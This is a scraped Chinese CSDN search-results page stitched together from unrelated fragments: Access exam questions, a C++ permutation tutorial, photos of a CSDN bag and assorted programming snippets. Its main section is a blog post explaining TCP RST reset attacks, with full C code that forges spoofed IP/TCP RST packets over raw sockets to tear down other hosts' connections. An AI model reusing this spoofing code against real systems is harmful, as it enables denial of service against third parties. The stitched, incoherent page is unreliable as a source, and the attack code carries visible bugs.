精华内容
下载资源
问答
  • 1PYAccess2003试题(1-3章)(100分)第部分选择题、选择题(共50题,每题1分,共50分)1、Microsoftaccess2003采用数据模型()。A.层次型B.网状型C.概念型D.关系型2、Access2003数据库中包含()对象。A.5B.6C.7D....

    1

    PY

    Access 2003

    试题(

    1-3

    章)

    (

    100

    分)

    第一部分

    选择题

    一、选择题(共

    50

    题,每题

    1

    分,共

    50

    分)

    1

    Microsoft access2003

    采用的数据模型是(

    )

    A.

    层次型

    B.

    网状型

    C.

    概念型

    D.

    关系型

    2

    Access2003

    数据库中包含(

    )个对象。

    A. 5

    B. 6

    C. 7

    D. 8

    3

    Access

    提供的数据类型不包括(

    )

    A.

    数字

    B.

    文本

    C.

    日期

    /

    时间

    D.

    字符

    4

    、某数据库表中要添加一张图片,则该字段应采用(

    )数据类型。

    A.

    超级链接

    B.

    自动编号

    C. OLE

    对象

    D.

    备注

    5

    Access

    数据库中(

    )对象是其他数据库对象的基础。

    A.

    报表

    B.

    窗体

    C.

    查询

    D.

    6

    Access

    数据库中默认的文本型字段大小为(

    )

    A. 150

    B. 100

    C. 50

    D. 25

    7

    、在表的设计视图中,

    (

    )

    A.

    可以修改字段名

    B.

    可以修改字段属性

    C.

    可以修改字段大小

    D.

    以上说法都对

    8

    Access

    的数据库文件格式是(

    )

    A

    )

    txt

    文件

    B

    )

    mdb

    文件

    C

    )

    dot

    文件

    D

    )

    XLS

    文件

    9

    、在数据表中,将字段显示列宽增大后,该字段“字段大小”属性所允许的

    字符数将会(

    )

    A.

    增多

    B.

    减少

    C.

    不会改变

    D.

    难以确定

    10

    Access

    适合开发的数据库应用系统是(

    )

    A

    )

    小型

    B

    )

    中型

    C

    )

    中小型

    D

    )

    大型

    11

    Access

    是一个(

    )

    A

    )

    数据库文件系统

    B

    )

    数据库系统

    C

    )

    数据库应用系统

    D

    )

    数据库管理系统

    12

    、数据库管理系统位于(

    )

    A

    )

    硬件与操作系统之间

    B

    )

    用户与操作系统之间

    C

    )

    用户与硬件之间

    D

    )

    操作系统与应用程序之间

    13

    、在数据库系统中,数据的最小访问单位是(

    )

    A

    )

    字节

    B

    )

    字段

    C

    )

    记录

    D

    )

    14

    、在

    Access

    中,用来表示实体的是(

    )

    A

    )

    B

    )

    字段

    C

    )

    记录

    D

    )

    15

    、在关系模型中,用来表示实体关系的是(

    )

    A

    )

    字段

    B

    )

    记录

    C

    )

    D

    )

    指针

    16

    、数据库系统中,最早出现的数据库模型是(

    )

    A

    )

    语义网络

    B

    )

    层次模型

    C

    )

    网状模型

    D

    )

    关系模型

    17

    、从关系模式中,指定若干属性组成新的关系称为(

    )

    A

    )

    选择

    B

    )

    投影

    C

    )

    联接

    D

    )

    自然联接

    18

    、从关系中找出满足给定条件的元组的操作称为(

    )

    A

    )

    选择

    B

    )

    投影

    C

    )

    联接

    D

    )

    自然联接

    19

    、数据是指存储在某一种媒体上的(

    )

    A

    )

    数学符号

    B

    )

    物理符号

    C

    )

    逻辑符号

    D

    )

    概念符号

    20

    DBS

    是指(

    )

    A

    )

    数据

    B

    )

    数据库

    C

    )

    数据库系统

    D

    )

    数据库管理系统

    展开全文
  • Piranha是一种自动重构与过时标志相关代码工具。 在更高级别,在属性文件中指定与标志相关API列表之后,工具输入是标志的名称和预期行为。 Piranha将使用这些输入根据预期行为自动重构代码。 该存储...
  • 输入例子:5 54 0 0 2 0输出例子:2a[N]:保存输入数据b[N]:保存待验证数组c[N]:保存缺失数据vist[N]:标志哪个数据已存在index[N]:c[N]中元素数据#include#include#includeusing namespace std;const int N=100;...

    输入例子:

    5 5

    4 0 0 2 0

    输出例子:

    2

    a[N]:保存输入数据b[N]:保存待验证的数组c[N]:保存缺失的数据vist[N]:标志哪个数据已存在index[N]:c[N]中元素的数据

    #include

    #include

    #include

    using namespace std;

    const int N=100;

    int a[N],b[N],visit[N];

    int c[15];

    bool judge(int n,int k,int b[])

    {

    int ret=0;

    for(int i=1;i<=n;i++)

    {

    for(int j=i+1;j<=n;j++)

    {

    if(b[i]

    ret++;

    }

    }

    return ret==k;

    }

    int main()

    {

    int n,k;

    while(scanf("%d%d",&n,&k)>0)

    {

    memset(visit,0,sizeof visit);

    for(int i=1;i<=n;i++)

    {

    scanf("%d",&a[i]);

    visit[a[i]]=1;

    }

    int tot=0;

    for(int i=1;i<=n;i++)

    {

    if(!visit[i])

    c[tot++]=i;//保存缺失的那部分数字

    }

    int index[15]={0,1,2,3,4,5,6,7,8,9,10};

    int ans=0;

    do{

    int idx=0;

    for(int i=1;i<=n;i++)

    {

    if(a[i]==0)

    b[i]=c[index[idx++]];

    else

    b[i]=a[i];

    }

    if(judge(n,k,b))

    ans++;

    }while(next_permutation(index,index+tot));

    cout<

    }

    }

    next_permutation

    这是一个求一个排序的下一个排列的函数,可以遍历全排列,要包含头文件

    下面是以前的笔记    与之完全相反的函数还有prev_permutation

    (1) int 类型的next_permutation

    int main()

    {

    int a[3];

    a[0]=1;a[1]=2;a[2]=3;

    do

    {

    cout<

    } while (next_permutation(a,a+3)); //参数3指的是要进行排列的长度

    //如果存在a之后的排列,就返回true。如果a是最后一个排列没有后继,返回false,每执行一次,a就变成它的后继

    }

    输出:

    1 2 3

    1 3 2

    2 1 3

    2 3 1

    3 1 2

    3 2 1

    如果改成 while(next_permutation(a,a+2));

    则输出:

    1 2 3

    2 1 3

    只对前两个元素进行字典排序

    显然,如果改成 while(next_permutation(a,a+1)); 则只输出:1 2 3

    若排列本来就是最大的了没有后继,则next_permutation执行后,会对排列进行字典升序排序,相当于循环

    int list[3]={3,2,1};

    next_permutation(list,list+3);

    cout<

    //输出: 1 2 3

    (2) char 类型的next_permutation

    int main()

    {

    char ch[205];

    cin >> ch;

    sort(ch, ch + strlen(ch) );

    //该语句对输入的数组进行字典升序排序。如输入9874563102 cout<

    char *first = ch;

    char *last = ch + strlen(ch);

    do {

    cout<< ch << endl;

    }while(next_permutation(first, last));

    return 0;

    }

    //这样就不必事先知道ch的大小了,是把整个ch字符串全都进行排序

    //若采用 while(next_permutation(ch,ch+5)); 如果只输入1562,就会产生错误,因为ch中第五个元素指向未知

    //若要整个字符串进行排序,参数5指的是数组的长度,不含结束符

    (3) string 类型的next_permutation

    int main()

    {

    string line;

    while(cin>>line&&line!="#")

    {

    if(next_permutation(line.begin(),line.end())) //从当前输入位置开始

    cout<

    else cout<

    }

    }

    int main()

    {

    string line;

    while(cin>>line&&line!="#")

    {

    sort(line.begin(),line.end());//全排列

    cout<

    while(next_permutation(line.begin(),line.end()))

    cout<

    }

    }

    next_permutation 自定义比较函数

    #include //poj 1256 Anagram

    #include

    #include

    using namespace std;

    int cmp(char a,char b) //‘A‘

    {

    if(tolower(a)!=tolower(b))

    return tolower(a)

    else

    return a

    }

    int main()

    {

    char ch[20];

    int n;

    cin>>n;

    while(n--)

    {

    scanf("%s",ch);

    sort(ch,ch+strlen(ch),cmp);

    do

    {

    printf("%s\n",ch);

    }while(next_permutation(ch,ch+strlen(ch),cmp));

    }

    return 0;

    }

    时间: 08-15

    展开全文
  • // $foo是一个双精度数(3.3) $foo = 5 + "10 Little Piggies"; // $foo是一个整数(15) $foo = 5 + "10 Small Pigs"; // $foo是一个整数(15) 如果想要强行转换变量类型,可以使用与C语言相同函数settype()。 2.5...
  • 直接看看图片吧,感谢csdn,我会继续努力的。1 这个是快递的票据2 里面的包3 包上的CSDN标志4 包上面的sd2c标志 5 程序员杂志

    直接看看图片吧,感谢csdn,我会继续努力的。


    1 这个是快递的票据



    2 里面的包

    CSDN的电脑包



    3 包上的CSDN标志

    CSDN的电脑包的标志



    4 包上面的sd2c标志

    CSDN的电脑包的标志2

     

     

    5 程序员杂志

    程序员杂志,2009年第6期

    展开全文
  • 这个方法能够判断一个对象是否是一个Array类型或者其派生类型。 <pre><code>js class MyArray extends Array {} const arr1 = []; const arr2 = new MyArray(); console.log(Array.isArray(arr1), Array....
  • 另外,您还将编译一个小的C程序来分析传递给它的标志。 这样,您便可以了解cp -r和ls -la等如何处理传递的标志。 您将编写自己的程序来解析标志! 凉爽的! 该怎么办 分叉此存储库 将叉子克隆到Debian服务器 添加...
  • 一个高亮区域和第二个高亮区域之间存在重叠部分࿰c;即“本区域高”四个字。 <p><img alt="image" src="https://img-blog.csdnimg.cn/img_convert/0790591ce3fe440d2b6b77b9450a6b8e.gif" /></p> 这个问题目前...
  • A和服务器B之间建立了TCP连接,此时C伪造了一个TCP发给B,使B异常断开了与A之间TCP连接,就是RST攻击了。实际从上面RST标志功能已经可以看出这种攻击如何达到效果了。 那么伪造什么样TCP可以达成...

    一,RST攻击:

          A和服务器B之间建立了TCP连接,此时C伪造了一个TCP包发给B,使B异常的断开了与A之间的TCP连接,就是RST攻击了。实际上从上面RST标志位的功能已经可以看出这种攻击如何达到效果了。 
         那么伪造什么样的TCP包可以达成目的呢?我们至顶向下的看。 
    假定C伪装成A发过去的包,这个包如果是RST包的话,毫无疑问,B将会丢弃与A的缓冲区上所有数据,强制关掉连接。 
    如果发过去的包是SYN包,那么,B会表示A已经发疯了(与OS的实现有关),正常连接时又来建新连接,B主动向A发个RST包,并在自己这端强制关掉连接。 
    这两种方式都能够达到复位攻击的效果。似乎挺恐怖,然而关键是,如何能伪造成A发给B的包呢?这里有两个关键因素,源端口和序列号。 
    一个TCP连接都是四元组,由源IP、源端口、目标IP、目标端口唯一确定一个连接。所以,如果C要伪造A发给B的包,要在上面提到的IP头和TCP头,把源IP、源端口、目标IP、目标端口都填对。这里B作为服务器,IP和端口是公开的,A是我们要下手的目标,IP当然知道,但A的源端口就不清楚了,因为这可能是A随机生成的。当然,如果能够对常见的OS如windows和linux找出生成source port规律的话,还是可以搞定的。 
           序列号问题是与滑动窗口对应的,伪造的TCP包里需要填序列号,如果序列号的值不在A之前向B发送时B的滑动窗口内,B是会主动丢弃的。所以我们要找到能落到当时的AB间滑动窗口的序列号。这个可以暴力解决,因为一个sequence长度是32位,取值范围0-4294967296,如果窗口大小像上图中我抓到的windows下的65535的话,只需要相除,就知道最多只需要发65537(4294967296/65535=65537)个包就能有一个序列号落到滑动窗口内。RST包是很小的,IP头+TCP头也才40字节,算算我们的带宽就知道这实在只需要几秒钟就能搞定。 
    那么,序列号不是问题,源端口会麻烦点,如果各个操作系统不能完全随机的生成源端口,或者黑客们能通过其他方式获取到source port,RST攻击易如反掌,后果很严重。

          引用自:http://www.cnblogs.com/sybtjp/archive/2012/05/17/2506153.html

    二,包构造原理:

     

    构造IP(IPV4)

    构造TCP伪头:

    //定义伪TCP首部
    typedef struct
    {
    struct in_addr saddr; //源IP地址
    struct in_addr daddr; //目的IP地址
    char mbz; // mbz = must be zero, 用于填充对齐
    char protocal; //8位协议号
    unsigned short tcpl; // TCP包长度
    }psdheader_t;

    构造TCP:

    三,代码分析:

     1 #ifndef MAIL_KILL_H_INCLUDED
     2 #define MAIL_KILL_H_INCLUDED
     3 #include <stdio.h>
     4 #include <stdlib.h>
     5 #include <string.h>
     6 #include <arpa/inet.h>
     7 #include "nids.h"
     8 #include <errno.h>
     9 #include <unistd.h>
    10 #include <netdb.h>
    11 #include <sys/socket.h>
    12 #include <sys/types.h>
    13 #include <netinet/in.h>
    14 #include <netinet/ip.h>
    15 #include <linux/tcp.h>
    16 //定义伪TCP首部
    17 typedef struct
    18 {
    19  struct in_addr saddr; //源IP地址
    20  struct in_addr daddr; //目的IP地址
    21  char mbz;                   // mbz = must be zero, 用于填充对齐
    22  char protocal;             //8位协议号
    23  unsigned short tcpl;    // TCP包长度
    24 }psdheader_t;
    25 
    26 unsigned short checksum(unsigned short *buffer, int size);//计算校验和
    27 
    28 int bird_kill(struct tcp_stream *tcp_connection);//构造并发送封堵包
    29 #endif // MAIL_KILL_H_INCLUDED
      1 #include "headers/bird_kill_tcp.h"
      2 
      3 unsigned short checksum(unsigned short *buffer, int size)
      4 {
      5     unsigned long cksum = 0;
      6     while(size>1)
      7     {
      8         cksum += *buffer++;
      9         size -= sizeof(unsigned short);
     10     }
     11     if(size)
     12     {
     13         cksum += *(unsigned char*)buffer;
     14     }
     15     cksum = (cksum>>16) + (cksum&0xffff);
     16     cksum += (cksum>>16);
     17     return (unsigned short)(~cksum);
     18 }
     19 int bird_kill(struct tcp_stream *tcp_connection)
     20 {
     21     psdheader_t tcp_psdhead;
     22     int skfd_1=socket(AF_INET,SOCK_RAW,IPPROTO_RAW);
     23     int skfd_2=socket(AF_INET,SOCK_RAW,IPPROTO_RAW);
     24     char *buf_client,*buf_server,*tcp_psd_buffer;
     25     setsockopt(skfd_1,IPPROTO_IP,IP_HDRINCL,"1",sizeof("1"));
     26     setsockopt(skfd_2,IPPROTO_IP,IP_HDRINCL,"1",sizeof("1"));
     27     int ip_len;
     28     int i =0;
     29     u_int16_t win = 32000;
     30 
     31     ip_len = sizeof(struct ip)+sizeof(struct tcphdr);
     32     buf_client=malloc(ip_len);
     33     buf_server=malloc(ip_len);
     34     tcp_psd_buffer=malloc(ip_len);
     35     struct ip *ip_client=(struct ip *)buf_client;
     36     struct ip *ip_server=(struct ip *)buf_server;
     37     struct tcphdr *tcp_client=(struct tcphdr*)(buf_client+sizeof(struct ip));
     38     struct tcphdr *tcp_server=(struct tcphdr*)(buf_server+sizeof(struct ip));
     39     struct sockaddr_in target_1,target_2;
     40 
     41     bzero(&target_1,sizeof(struct sockaddr_in));//客户端
     42     bzero(&target_2,sizeof(struct sockaddr_in));//服务器端
     43     target_1.sin_family=AF_INET;
     44     target_1.sin_port=htons(tcp_connection->addr.source);//客户端端口
     45     target_1.sin_addr.s_addr=tcp_connection->addr.saddr;//客户端地址
     46     target_2.sin_family=AF_INET;
     47     target_2.sin_port=htons(tcp_connection->addr.dest);//服务器端口
     48     target_2.sin_addr.s_addr=tcp_connection->addr.daddr;//服务器地址
     49 
     50     /*****************客户端**********************/
     51     /*****************IP 头构造**********************/
     52     ip_client->ip_v = 4;
     53     ip_client->ip_hl = 5;
     54     ip_client->ip_tos = 0;
     55     ip_client->ip_len = sizeof(struct ip)+sizeof(struct tcphdr);
     56     ip_client->ip_id=htons(12345);
     57     ip_client->ip_off=0;
     58     ip_client->ip_ttl=64;
     59     ip_client->ip_p=IPPROTO_TCP;
     60     ip_client->ip_sum=0;
     61     ip_client->ip_dst=target_2.sin_addr;//目的地址
     62     ip_client->ip_src=target_1.sin_addr;//源地址
     63     ip_client->ip_sum=checksum((unsigned short*)buf_client,sizeof(struct ip));
     64     /*****************伪头构造**********************/
     65     bzero(&tcp_psdhead,sizeof(tcp_psdhead));
     66     bzero(tcp_psd_buffer,ip_len);
     67     tcp_psdhead.mbz=0;
     68     tcp_psdhead.saddr=target_1.sin_addr;
     69     tcp_psdhead.daddr=target_2.sin_addr;
     70     tcp_psdhead.protocal=IPPROTO_TCP;
     71     tcp_psdhead.tcpl=htons(20);
     72     /*****************TCP头构造**********************/
     73     tcp_client->source = target_1.sin_port;
     74     tcp_client->dest = target_2.sin_port;
     75     tcp_client->seq =htonl(tcp_connection->client.seq + tcp_connection->server.window / 2);
     76     tcp_client->ack_seq=0;
     77     tcp_client->doff=5;
     78     tcp_client->window=htons(win);//htobe16(tcp_connection->server.window);
     79     tcp_client->rst= 1;
     80     tcp_client->fin=0;
     81     tcp_client->syn=0;
     82     tcp_client->urg=0;
     83     tcp_client->ack=0;
     84     tcp_client->psh=0;
     85     tcp_client->check = 0;
     86 
     87     printf("  #发给客户端的包\n");
     88     memcpy(tcp_psd_buffer,&tcp_psdhead,sizeof(tcp_psdhead));
     89     memcpy(tcp_psd_buffer+sizeof(tcp_psdhead),tcp_client,sizeof(struct tcphdr));
     90     tcp_client->check=checksum((unsigned short*)tcp_psd_buffer,sizeof(tcp_psdhead)+sizeof(struct tcphdr));
     91     sendto(skfd_2,buf_client,ip_len,0,(struct sockaddr *)&target_2,sizeof(struct sockaddr));
     92 
     93     /*****************服务器端**********************/
     94     /*****************IP 头构造**********************/
     95     //开始填充IP首部
     96     ip_server->ip_v = 4;
     97     ip_server->ip_hl = 5;
     98     ip_server->ip_tos = 0;
     99     ip_server->ip_len = sizeof(struct ip)+sizeof(struct tcphdr);
    100     ip_server->ip_id=htons(12345);
    101     ip_server->ip_off=0;
    102     ip_server->ip_ttl=64;
    103     ip_server->ip_p=IPPROTO_TCP;
    104     ip_server->ip_sum=0;
    105     ip_server->ip_dst=target_1.sin_addr;//目的地址
    106     ip_server->ip_src=target_2.sin_addr;//源地址
    107     ip_server->ip_sum=checksum((unsigned short*)buf_server,sizeof(struct ip));
    108     /*****************伪头构造**********************/
    109     bzero(&tcp_psdhead,sizeof(tcp_psdhead));
    110     bzero(tcp_psd_buffer,ip_len);
    111     tcp_psdhead.mbz=0;
    112     tcp_psdhead.saddr=target_2.sin_addr;
    113     tcp_psdhead.daddr=target_1.sin_addr;
    114     tcp_psdhead.protocal=IPPROTO_TCP;
    115     tcp_psdhead.tcpl=20;
    116     /*****************TCP头构造**********************/
    117     tcp_server->source = target_2.sin_port;
    118     tcp_server->dest = target_1.sin_port;
    119     tcp_server->seq =htonl(tcp_connection->server.seq + tcp_connection->client.window / 2);
    120     tcp_server->ack_seq=0;
    121     tcp_server->doff=5;
    122     tcp_server->window=htons(win);
    123     tcp_server->rst= 1;
    124     tcp_server->fin=0;
    125     tcp_server->syn=0;
    126     tcp_server->urg=0;
    127     tcp_server->ack=0;
    128     tcp_server->psh=0;
    129     tcp_server->check = 0;
    130     memcpy(tcp_psd_buffer,&tcp_psdhead,sizeof(tcp_psdhead));
    131     memcpy(tcp_psd_buffer+sizeof(tcp_psdhead),&tcp_server,sizeof(struct tcphdr));
    132     tcp_server->check=checksum((unsigned short*)tcp_psd_buffer,sizeof(tcp_psdhead)+sizeof(struct tcphdr));
    133     /*****************发送包**********************/
    134     sendto(skfd_2,buf_server,ip_len,0,(struct sockaddr *)&target_2,sizeof(struct sockaddr));
    135     printf(" #发送给服务端的包\n");
    136 
    137     free(buf_client);
    138     free(buf_server);
    139     free(tcp_psd_buffer);
    140     close(skfd_1);
    141     close(skfd_2);
    142     return 0;
    143 }

    四,PS:

     (1)为了增加成功率,发送双向RST包

     (2)本包的构造参考了libnids中nids_killtcp()函数,由于直接基于RAW_SOCKET发送,效率略高,但函数有待继续封装复用

     (3)构造包的过程中需要注意网络字节序的转换

     (4)构造封堵包最重要的是序列号的计算,算法可以适当调整

    转载于:https://www.cnblogs.com/jinxiaopeng/p/4201030.html

    展开全文
  • 1.3.1 Windows Sockets是一个开放标准 1.3.2 Windows Sockets提供源代码可移植性 1.3.3 Windows Sockets支持动态链接 1.3.4 Windows Sockets优点 1.4 Windows Sockets前景 1.5 结论 第2章 Windows Sockets...
  • 1.3.1 Windows Sockets是一个开放标准 1.3.2 Windows Sockets提供源代码可移植性 1.3.3 Windows Sockets支持动态链接 1.3.4 Windows Sockets优点 1.4 Windows Sockets前景 1.5 结论 第2章 Windows Sockets...
  • 如何抓

    2019-11-05 14:59:00
    1.fiddler什么 2.fiddler页面 端口:用来标识计算机软件唯一标志 一个端口会对应一个软件,一个...所有使用客户端软件都是C/S架构(所有app都是C/S架构,所有要下载安装包软件都是C/S架构) ...
  • 这里显示单词列表是一个 例如࿰c;实际输出将取决于文档文件中单词。 可能有 每个案例类型有一个以上结果。 正确输出示例:(显示单词不代表实际值 输入) <p>country is CORRECT...
  • 模拟reset阻断tcp

    2020-05-04 16:07:26
    A和服务器B之间建立了TCP连接,此时C伪造了一个TCP发给B,使B异常断开了与A之间TCP连接,就是RST攻击了。实际从上面RST标志功能已经可以看出这种攻击如何达到效果了。 那么伪造什么样TCP可以达成...
  • ProcessInfo.th32ProcessID) ‘打开进程获得notepad句柄供后面操作使用 DllFileName = "C:Vblegend.dll" MyDllFileLength = Len(DllFileName) 1 ‘学过C语言朋友应该知道字符串最后要一个ASCII 0标志结尾,...
  • 一个没有点测试用例标志着整个输入结束。 Output 对每个测试用例,在1行内输出2对整数,其间用一个空格隔开。第1对整数长方形框左下角坐标,第2对整数长方形框右坐标。 Sample Input ...
  • 在标准输出和日志文件中写入捕获IP包的版本、头长度、服务类型、数据包总长度、数据包标识、分段标志、分段偏移值、生存时间、上层协议类型、头校验和、源IP地址和目的IP地址等内容,当程序接收到键盘输入Ctrl+C时...
  • 本课件是一个动态演示数据结构算法执行过程辅助教学软件, 它可适应读者对算法输入数据和过程执行控制方式不同需求, 在计算机屏幕显示算法执行过程中数据逻辑结构或存储结构变化状况或递归算法执行...
  • 如何添加自己应用到openwrt

    千次阅读 2017-10-26 09:44:50
    想在板子加自己程序,通过编译.c文件打包成一个package,然后通过编译生成一个.ipk,通过scp方式(例如WinSCP)上传到板系统,再通过opkg install xxx来安装,安装完成标志就是输入前几个字符可以通过tab...
  • 子应用更像是一个业务组件而不是应用。</li></ul> 本文将着重介绍单实例场景下微前端架构实践方案(基于 <a href="https://github.com/CanopyTax/single-spa">single-spa</a>)࿰c;因为这个场景更...
  •  一个C/C++编译器.  拥有根据操作系统平台创建可执行gSOAPstdsoap2(windows下为stdsoap2.exe)编译器。  拥有根据操作系统平台创建可执行gSOAPwsdl2h(windows下为wsdl2h.exe)WSDL解析器。  需要'...
  • tftpd32 网络服务器

    2012-03-13 17:42:07
    Tftpd32是一个集成DHCP, TFTP, SNTP和Syslog多种服务袖珍网络服务器,同时提供TFTP客户端应用,支持tsize, blocksize 和 timeout等等 一.tftp服务器配置 1.下载tftpd32.exe 2.禁用所有与本机ip(本机在局域网内...
  • SignTool(签名工具

    千次下载 热门讨论 2009-12-14 16:03:56
    签名工具是一个命令行工具,用于对文件进行数字签名,验证文件或时间戳文件中签名。 注意 Microsoft Windows NT、Windows Me、Windows 98 或 Windows 95 中不支持签名工具。 signtool [command] [options] ...
  • STM32底层A/D转换采样 通过DMA连接片USART 定时地发送数据到上位机 其中我对一个通道进行采样 采样十次 即同一个传感器 一共20个数据(STM3212位AD 参考电压3.3V) 数据传入Matlab串口中 用矩阵相乘...
  • C 字符串

    2018-04-16 14:55:04
    C 语言中,字符串实际上是使用 null 字符 '\0' 终止一维字符数组。因此,一个以 null 结尾字符串,包含了组成字符串字符。例子:声明和初始化创建一个字符串“HELLO”: char str[6]={'H','E','L','L','O...
  • c/c++文件操作

    千次阅读 2018-12-22 15:09:30
    C++把文件看成一个有序字节流,每个文件都以文件结束标志(EOF)结束。下图包含n个字节文件内容。 磁盘文件由操作系统中文件系统统一管理,也只有文件系统才能直接操作文件。所以编写C+...
  • 1.2 64 位机上的64 位类型什么样的? . . . . . . . . . . . . . . . . 1 1.3 怎样定义和声明全局变量和函数最好? . . . . . . . . . . . . . . . 2 1.4 extern 在函数声明中什么意思? . . . . . . . . . . . ...
  • JDBC基本连接(

    2020-07-01 01:13:14
    我这里使用了Navicat12的版本进行连接本地数据库db3上的account表,表中建立了ID,name,balance三栏目,除了ID设置为自动增长,不为空,主键之外,剩下两栏设置为空值,非主键,字符集为utf-8,排序规则为utf8_...

空空如也

空空如也

1 2 3 4 5 ... 16
收藏数 312
精华内容 124
关键字:

包上的标志是一个c